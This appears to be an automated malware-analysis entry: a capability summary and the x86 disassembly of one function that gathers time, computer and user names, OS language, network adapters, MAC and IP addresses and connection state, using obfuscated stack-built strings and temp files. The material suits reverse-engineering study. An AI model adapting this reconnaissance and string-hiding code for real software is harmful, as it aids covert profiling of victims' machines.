Function at 0x402056
Capabilities:
Contain obfuscated stackstrings
Get common file path
Get hostname
Get local ipv4 addresses
Get mac address on windows
Get session user name

Disassembly:
mov eax, 0x41738b
call fcn.0040c8a0
mov eax, 0x1794
call fcn.0040d510
push ebx
push esi
push edi
xor ebx, ebx
push 0x208
lea eax, [ebp - 0x17a0]
push ebx
push eax
call fcn.0040c470
mov esi, 0x104
lea eax, [ebp - 0x17a0]
push esi
push dword [ebp + 8]
push eax
call fcn.0040c433
add esp, 0x18
mov ecx, 0xb1
xor eax, eax
lea edi, [ebp - 0x1594]
mov dword [ebp - 0x1598], ebx
rep stosd dword es:[edi], eax
mov al, byte [ebp + 0xb]
push ebx
lea ecx, [ebp - 0x20]
mov dword [ebp - 4], ebx
mov byte [ebp - 0x20], al
call fcn.004015ef
mov edi, 0x424980
push edi
call fcn.0040cc7b
pop ecx
push eax
push edi
lea ecx, [ebp - 0x20]
call fcn.004015ad
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0x69e]
mov word [ebp - 0x6a0], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, 0xff
xor eax, eax
lea edi, [ebp - 0x496]
mov word [ebp - 0x498], bx
rep stosd dword es:[edi], eax
push 3
mov byte [ebp - 4], 1
stosw word es:[edi], ax
call fcn.00401ee0
mov dword [ebp - 0x58], eax
mov dword [esp], str._Y__m__d__H:_M:_S
lea eax, [ebp - 0x6a0]
push esi
push eax
lea eax, [ebp - 0x68]
push eax
call fcn.0040b8d2
pop ecx
mov ecx, eax
call fcn.0040be9c
lea eax, [ebp - 0x6a0]
push eax
lea eax, [ebp - 0x498]
push str.Time_UTC_:__s_r_n
push eax
call fcn.0040cc98
lea eax, [ebp - 0x498]
push eax
call fcn.0040cc7b
add esp, 0x10
lea ecx, [ebp - 0x20]
push eax
lea eax, [ebp - 0x498]
push eax
call fcn.0040310d
lea eax, [ebp - 0x48]
mov dword [ebp - 0x48], esi
push eax
lea eax, [ebp - 0x6a0]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea eax, [ebp - 0x6a0]
push eax
lea eax, [ebp - 0x498]
push str.ComputerName:__s_r_n
push eax
call fcn.0040cc98
lea eax, [ebp - 0x498]
push eax
call fcn.0040cc7b
add esp, 0x10
lea ecx, [ebp - 0x20]
push eax
lea eax, [ebp - 0x498]
push eax
call fcn.0040310d
lea eax, [ebp - 0x48]
mov dword [ebp - 0x48], esi
push eax
lea eax, [ebp - 0x6a0]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameW]
lea eax, [ebp - 0x6a0]
push eax
lea eax, [ebp - 0x498]
push str.UserName:__s_r_n
push eax
call fcn.0040cc98
lea eax, [ebp - 0x498]
push eax
call fcn.0040cc7b
add esp, 0x10
lea ecx, [ebp - 0x20]
push eax
lea eax, [ebp - 0x498]
push eax
call fcn.0040310d
lea eax, [ebp - 0x6a0]
push eax
call fcn.0040318c
pop ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
movzx eax, ax
push eax
lea eax, [ebp - 0x6a0]
push eax
lea eax, [ebp - 0x498]
push str.OS:__s__language:0x_X__r_n
push eax
call fcn.0040cc98
lea eax, [ebp - 0x498]
push eax
call fcn.0040cc7b
add esp, 0x14
lea ecx, [ebp - 0x20]
push eax
lea eax, [ebp - 0x498]
push eax
call fcn.0040310d
mov eax, 0x280
push eax
mov dword [ebp - 0x4c], eax
call fcn.0040d239
mov edi, eax
pop ecx
cmp edi, ebx
mov dword [ebp - 0x24], edi
je 0x402289
lea eax, [ebp - 0x4c]
push eax
push edi
call sub.iphlpapi.dll_GetAdaptersInfo
cmp eax, 0x6f
jne 0x402289
push edi
call fcn.0040d2c5
push dword [ebp - 0x4c]
call fcn.0040d239
pop ecx
mov dword [ebp - 0x24], eax
pop ecx
mov edi, dword [ebp - 0x24]
lea eax, [ebp - 0x4c]
push eax
push edi
call sub.iphlpapi.dll_GetAdaptersInfo
cmp eax, ebx
jne 0x40242d
cmp edi, ebx
mov dword [ebp + 8], edi
je 0x40243b
mov ecx, 0x81
xor eax, eax
lea edi, [ebp - 0xaae]
mov word [ebp - 0xab0], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov eax, 0x100
lea ecx, [ebp - 0xab0]
push eax
push ecx
push eax
mov eax, dword [ebp + 8]
add eax, 8
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0xab0]
push eax
lea eax, [ebp - 0x498]
push str.Adapter:__s_r_n
push eax
call fcn.0040cc98
lea eax, [ebp - 0x498]
push eax
call fcn.0040cc7b
add esp, 0x10
lea ecx, [ebp - 0x20]
push eax
lea eax, [ebp - 0x498]
push eax
call fcn.0040310d
mov eax, dword [ebp + 8]
movzx ecx, byte [eax + 0x199]
push ecx
movzx ecx, byte [eax + 0x198]
push ecx
movzx ecx, byte [eax + 0x197]
push ecx
movzx ecx, byte [eax + 0x196]
push ecx
movzx ecx, byte [eax + 0x195]
movzx eax, byte [eax + 0x194]
push ecx
push eax
lea eax, [ebp - 0x498]
push str.___MAC:__02X__02X__02X__02X__02X__02X_r_n
push eax
call fcn.0040cc98
lea eax, [ebp - 0x498]
push eax
call fcn.0040cc7b
add esp, 0x24
lea ecx, [ebp - 0x20]
push eax
lea eax, [ebp - 0x498]
push eax
call fcn.0040310d
push 7
xor eax, eax
pop ecx
lea edi, [ebp - 0x96]
mov word [ebp - 0x98], bx
push 7
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
pop ecx
xor eax, eax
lea edi, [ebp - 0x76]
mov word [ebp - 0x78], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov edi, dword [ebp + 8]
lea eax, [ebp - 0x98]
push 0x10
push eax
lea eax, [edi + 0x1b0]
push 0x10
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea eax, [ebp - 0x78]
push 0x10
push eax
lea eax, [edi + 0x1c0]
push 0x10
push eax
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
cmp dword [edi + 0x1a4], ebx
mov eax, str._DHCP_
jne 0x4023e4
mov eax, 0x424980
push eax
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x98]
push eax
lea eax, [ebp - 0x498]
push str.___IP:__s__s__s_r_n
push eax
call fcn.0040cc98
lea eax, [ebp - 0x498]
push eax
call fcn.0040cc7b
add esp, 0x18
lea ecx, [ebp - 0x20]
push eax
lea eax, [ebp - 0x498]
push eax
call fcn.0040310d
mov edi, dword [edi]
cmp edi, ebx
mov dword [ebp + 8], edi
jne 0x4022a9
cmp dword [ebp - 0x24], ebx
je 0x40243b
push dword [ebp - 0x24]
call fcn.0040d2c5
pop ecx
cmp dword [ebp - 0x58], ebx
je 0x402447
push str.Network:_Internet
jmp 0x40244c
push str.Network:_Closed
lea eax, [ebp - 0x498]
push eax
call fcn.0040cc98
lea eax, [ebp - 0x498]
push eax
call fcn.0040cc7b
add esp, 0xc
lea ecx, [ebp - 0x20]
push eax
lea eax, [ebp - 0x498]
push eax
call fcn.0040310d
mov edi, 0x421154
push edi
call fcn.0040cc7b
pop ecx
push eax
push edi
lea ecx, [ebp - 0x20]
call fcn.0040310d
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x8a7]
mov byte [ebp - 0x8a8], bl
push 0x6c
rep stosd dword es:[edi], eax
push 0x6c
push 0x64
push 0x2e
push 0x74
stosw word es:[edi], ax
push 0x65
push 0x6e
push 0x69
push 0x6e
stosb byte es:[edi], al
push 0x69
push 0x77
lea eax, [ebp - 0x8a8]
push 0xb
push eax
call fcn.00401031
add esp, 0x34
lea eax, [ebp - 0x8a8]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp eax, ebx
mov dword [ebp + 8], eax
je 0x402554
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x9ab]
mov byte [ebp - 0x9ac], bl
push 0x65
rep stosd dword es:[edi], eax
pop ecx
stosw word es:[edi], ax
push ecx
push 0x74
stosb byte es:[edi], al
pop eax
push eax
push 0x61
push eax
push 0x53
push 0x64
push ecx
push eax
push 0x63
push ecx
push 0x6e
pop edx
push edx
push edx
push 0x6f
push 0x43
push eax
push ecx
push 0x47
push eax
push ecx
push edx
push 0x72
push ecx
push eax
push edx
push 0x49
lea eax, [ebp - 0x9ac]
push 0x19
push eax
call fcn.00401031
add esp, 0x6c
lea eax, [ebp - 0x9ac]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x40254b
lea ecx, [ebp - 0x10]
push ebx
push ecx
call eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
test byte [ebp - 0x10], 2
je 0x40258a
lea eax, [ebp - 0x498]
push str.LAN
push eax
call fcn.0040cc98
lea eax, [ebp - 0x498]
push eax
call fcn.0040cc7b
add esp, 0xc
lea ecx, [ebp - 0x20]
push eax
lea eax, [ebp - 0x498]
push eax
call fcn.0040310d
test byte [ebp - 0x10], 1
je 0x4025c0
lea eax, [ebp - 0x498]
push str.MODEM
push eax
call fcn.0040cc98
lea eax, [ebp - 0x498]
push eax
call fcn.0040cc7b
add esp, 0xc
lea ecx, [ebp - 0x20]
push eax
lea eax, [ebp - 0x498]
push eax
call fcn.0040310d
test byte [ebp - 0x10], 0x20
je 0x4025f6
lea eax, [ebp - 0x498]
push str.OFFLINE
push eax
call fcn.0040cc98
lea eax, [ebp - 0x498]
push eax
call fcn.0040cc7b
add esp, 0xc
lea ecx, [ebp - 0x20]
push eax
lea eax, [ebp - 0x498]
push eax
call fcn.0040310d
test byte [ebp - 0x10], 0x10
je 0x40262c
lea eax, [ebp - 0x498]
push str.RAS
push eax
call fcn.0040cc98
lea eax, [ebp - 0x498]
push eax
call fcn.0040cc7b
add esp, 0xc
lea ecx, [ebp - 0x20]
push eax
lea eax, [ebp - 0x498]
push eax
call fcn.0040310d
test byte [ebp - 0x10], 4
je 0x402662
lea eax, [ebp - 0x498]
push str.PROXY
push eax
call fcn.0040cc98
lea eax, [ebp - 0x498]
push eax
call fcn.0040cc7b
add esp, 0xc
lea ecx, [ebp - 0x20]
push eax
lea eax, [ebp - 0x498]
push eax
call fcn.0040310d
lea eax, [ebp - 0x498]
push 0x421100
push eax
call fcn.0040cc98
lea eax, [ebp - 0x498]
push eax
call fcn.0040cc7b
add esp, 0xc
lea ecx, [ebp - 0x20]
push eax
lea eax, [ebp - 0x498]
push eax
call fcn.0040310d
movzx eax, word [ebp + 0x1c20]
push eax
movzx eax, word [ebp + 0x1c22]
push eax
lea eax, [ebp - 0x498]
push str.TTL:__d__initial:_d__r_n_r_n_r_n
push eax
call fcn.0040cc98
lea eax, [ebp - 0x498]
push eax
call fcn.0040cc7b
add esp, 0x14
lea ecx, [ebp - 0x20]
push eax
lea eax, [ebp - 0x498]
push eax
call fcn.0040310d
mov edx, 0x81
xor eax, eax
mov ecx, edx
lea edi, [ebp - 0x12ce]
mov word [ebp - 0x12d0], bx
mov word [ebp - 0x10c8], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0x10c6]
mov word [ebp - 0xec0], bx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov ecx, edx
xor eax, eax
lea edi, [ebp - 0xebe]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x12d0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov edi, dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea eax, [ebp - 0x10c8]
push eax
push ebx
lea eax, [ebp - 0x12d0]
push 0x4210c0
push eax
call edi
lea eax, [ebp - 0xec0]
push eax
push ebx
lea eax, [ebp - 0x12d0]
push 0x4210b8
push eax
call edi
lea eax, [ebp - 0x10c8]
push 0x4210b0
push eax
call fcn.0040d4f4
mov edi, eax
pop ecx
cmp edi, ebx
pop ecx
je 0x402954
mov eax, dword [ebp - 0x1c]
cmp eax, ebx
jne 0x40277f
mov eax, 0x4181b4
mov ecx, dword [ebp - 0x18]
push edi
add ecx, ecx
push 1
push ecx
push eax
call fcn.0040d38a
push edi
call fcn.0040d30d
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0x7a3]
mov byte [ebp - 0x7a4], bl
mov byte [ebp - 0x54], bl
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x53]
push 0x100
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp + 0x1a]
push eax
lea eax, [ebp - 0x7a4]
push eax
call fcn.0040c8c0
lea eax, [ebp + 0x11a]
push 6
push eax
lea eax, [ebp - 0x54]
push eax
call fcn.0040c8c0
add esp, 0x2c
mov eax, dword [0x4269c0]
lea edx, [ebp - 0x54]
push edx
mov ecx, dword [eax]
lea edx, [ebp - 0x7a4]
push edx
lea edx, [ebp - 0xec0]
push edx
lea edx, [ebp - 0x10c8]
push edx
push eax
call dword [ecx + 0x28]
test al, al
je 0x402954
lea eax, [ebp - 0xec0]
mov byte [ebp - 0x43], 0x6f
push eax
mov byte [ebp - 0x2f], 0x2d
mov byte [ebp - 0x44], 0x63
mov byte [ebp - 0x36], 0x3d
mov byte [ebp - 0x42], 0x6c
mov byte [ebp - 0x26], 0x39
mov byte [ebp - 0x40], 0x33
mov byte [ebp - 0x2b], 0x33
mov byte [ebp - 0x41], 0x31
mov byte [ebp - 0x2e], 0x26
mov byte [ebp - 0x3f], 0x5b
mov byte [ebp - 0x33], 0x6e
mov byte [ebp - 0x35], 0x3c
mov byte [ebp - 0x3e], 0x4e
mov byte [ebp - 0x3d], 0x29
mov byte [ebp - 0x2c], 0x65
mov byte [ebp - 0x29], 0x32
mov byte [ebp - 0x3b], 0x2b
mov byte [ebp - 0x3c], 0x2a
mov byte [ebp - 0x3a], 0x33
mov byte [ebp - 0x39], 0x4b
mov byte [ebp - 0x27], 0x3c
mov byte [ebp - 0x37], 0x40
mov byte [ebp - 0x38], 0x2c
mov byte [ebp - 0x34], 0x4d
mov byte [ebp - 0x32], 0x59
mov byte [ebp - 0x30], 0x58
mov byte [ebp - 0x2d], 0x5a
mov byte [ebp - 0x2a], 0x20
mov byte [ebp - 0x31], 0x37
mov byte [ebp - 0x28], 0x31
mov byte [ebp - 0x25], bl
call fcn.00405085
lea ecx, [ebp - 0x44]
push ecx
push ebx
push ebx
push 1
push 2
push eax
lea eax, [ebp - 0x1598]
push eax
call fcn.00405147
lea eax, [ebp - 0x1598]
push eax
lea eax, [ebp - 0xec0]
push eax
lea eax, [ebp - 0x17a0]
push eax
call fcn.00404fed
add esp, 0x2c
mov byte [ebp + 0xb], al
xor eax, eax
lea edi, [ebp - 0xbb3]
push 0x40
mov byte [ebp - 0xbb4], bl
pop ecx
mov byte [ebp - 0xcb8], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x40
xor eax, eax
pop ecx
lea edi, [ebp - 0xcb7]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push ebx
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push ebx
lea eax, [ebp - 0xbb4]
push esi
push eax
lea eax, [ebp - 0x10c8]
push esi
push eax
push ebx
push ebx
call edi
mov eax, dword [0x4269c0]
lea edx, [ebp - 0xbb4]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
push ebx
push ebx
lea eax, [ebp - 0xcb8]
push esi
push eax
lea eax, [ebp - 0xec0]
push esi
push eax
push ebx
push ebx
call edi
mov eax, dword [0x4269c0]
lea edx, [ebp - 0xcb8]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x1c]
cmp byte [ebp + 0xb], bl
je 0x402954
push 1
pop esi
jmp 0x402956
xor esi, esi
push 1
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], bl
call fcn.004015ef
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret